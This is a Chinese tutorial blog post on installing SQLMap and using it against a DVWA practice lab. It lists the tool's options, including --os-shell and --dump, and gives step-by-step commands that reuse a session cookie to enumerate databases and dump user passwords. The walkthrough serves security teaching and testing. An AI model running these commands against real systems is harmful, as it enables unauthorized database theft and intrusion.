安全测试必备工具——SQLMap 安装及基本应用

2024-05-01 02:12

本文主要是介绍安全测试必备工具——SQLMap 安装及基本应用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响,以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。

1、什么是SQLMap?

SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。

2、SQLMap下载

官方网站下载:http://sqlmap.org/

图片

这里选择Github去下载

图片

3、win10下SQLMap安装

1、先安装好python环境,不管是2还是3版本都支持(python安装过程略,自行百度解决)。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。

图片

2、将下载好的sqlmap-master.zip压缩包,解压到自己需要的目录

3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py即开启工具使用

图片

4、SQLMap的常用参数

-u∶指定目标URL进行sql注入检测

--batch:自动去做问题应答

--cookie :当前会话的cookie值

--dbs: 查询当前网站所有数据库

-D:指定数据库名

--tables:查询数据库下的所有表名

-T:指定表名

--columns:指定查询所有字段

-C:指定字段的名称

--dump:查询并导出其数据,拖库

--current-db:获取当前数据库

--current-user :获取当前登录数据库用户名称

--users:查询数据库的所有用户

--password:查询数据库用户的密码

--os-shell:直接返回一个shell(如果存在的话)

-flush-session 刷新session文件

如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。

5、SQLMap的基本应用

基于DVWA靶场以下模块,进行SQLMap实操演示

图片

1、注入判断 -u

输入:python sqlmap.py -u http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作--会报错,需要登录。

图片

图片

2、添加cookie绕过登录

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low"。

运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch

图片

图片

通过以上结果可知,存在SQL注入点。

3、查询当下所有数据库

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" --dbs --batch

图片

4、查询指定库下的表名

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa --tables

图片

5、查指定表的所有字段

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users --columns

图片

6、查询字段内容

python sqlmap.py -u "http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users -C user,password --dump

这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。

图片

最后

此文中提到的工具及技术操作,仅用于学术交流,请遵守《网络安全法》,严禁将此文中工具和技术用于非法攻击测试。

这篇关于安全测试必备工具——SQLMap 安装及基本应用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/950481

相关文章

PHP应用中处理限流和API节流的最佳实践

《PHP应用中处理限流和API节流的最佳实践》限流和API节流对于确保Web应用程序的可靠性、安全性和可扩展性至关重要,本文将详细介绍PHP应用中处理限流和API节流的最佳实践,下面就来和小编一起学习... 目录限流的重要性在 php 中实施限流的最佳实践使用集中式存储进行状态管理(如 Redis)采用滑动

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

RabbitMQ 延时队列插件安装与使用示例详解(基于 Delayed Message Plugin)

《RabbitMQ延时队列插件安装与使用示例详解(基于DelayedMessagePlugin)》本文详解RabbitMQ通过安装rabbitmq_delayed_message_exchan... 目录 一、什么是 RabbitMQ 延时队列? 二、安装前准备✅ RabbitMQ 环境要求 三、安装延时队

Python ORM神器之SQLAlchemy基本使用完全指南

《PythonORM神器之SQLAlchemy基本使用完全指南》SQLAlchemy是Python主流ORM框架,通过对象化方式简化数据库操作,支持多数据库,提供引擎、会话、模型等核心组件,实现事务... 目录一、什么是SQLAlchemy?二、安装SQLAlchemy三、核心概念1. Engine(引擎)

Python实战之SEO优化自动化工具开发指南

《Python实战之SEO优化自动化工具开发指南》在数字化营销时代,搜索引擎优化(SEO)已成为网站获取流量的重要手段,本文将带您使用Python开发一套完整的SEO自动化工具,需要的可以了解下... 目录前言项目概述技术栈选择核心模块实现1. 关键词研究模块2. 网站技术seo检测模块3. 内容优化分析模

linux系统上安装JDK8全过程

《linux系统上安装JDK8全过程》文章介绍安装JDK的必要性及Linux下JDK8的安装步骤,包括卸载旧版本、下载解压、配置环境变量等,强调开发需JDK,运行可选JRE,现JDK已集成JRE... 目录为什么要安装jdk?1.查看linux系统是否有自带的jdk:2.下载jdk压缩包2.解压3.配置环境

PostgreSQL简介及实战应用

《PostgreSQL简介及实战应用》PostgreSQL是一种功能强大的开源关系型数据库管理系统,以其稳定性、高性能、扩展性和复杂查询能力在众多项目中得到广泛应用,本文将从基础概念讲起,逐步深入到高... 目录前言1. PostgreSQL基础1.1 PostgreSQL简介1.2 基础语法1.3 数据库

Python异步编程之await与asyncio基本用法详解

《Python异步编程之await与asyncio基本用法详解》在Python中,await和asyncio是异步编程的核心工具,用于高效处理I/O密集型任务(如网络请求、文件读写、数据库操作等),接... 目录一、核心概念二、使用场景三、基本用法1. 定义协程2. 运行协程3. 并发执行多个任务四、关键

Go语言连接MySQL数据库执行基本的增删改查

《Go语言连接MySQL数据库执行基本的增删改查》在后端开发中,MySQL是最常用的关系型数据库之一,本文主要为大家详细介绍了如何使用Go连接MySQL数据库并执行基本的增删改查吧... 目录Go语言连接mysql数据库准备工作安装 MySQL 驱动代码实现运行结果注意事项Go语言执行基本的增删改查准备工作

Python中的filter() 函数的工作原理及应用技巧

《Python中的filter()函数的工作原理及应用技巧》Python的filter()函数用于筛选序列元素,返回迭代器,适合函数式编程,相比列表推导式,内存更优,尤其适用于大数据集,结合lamb... 目录前言一、基本概念基本语法二、使用方式1. 使用 lambda 函数2. 使用普通函数3. 使用 N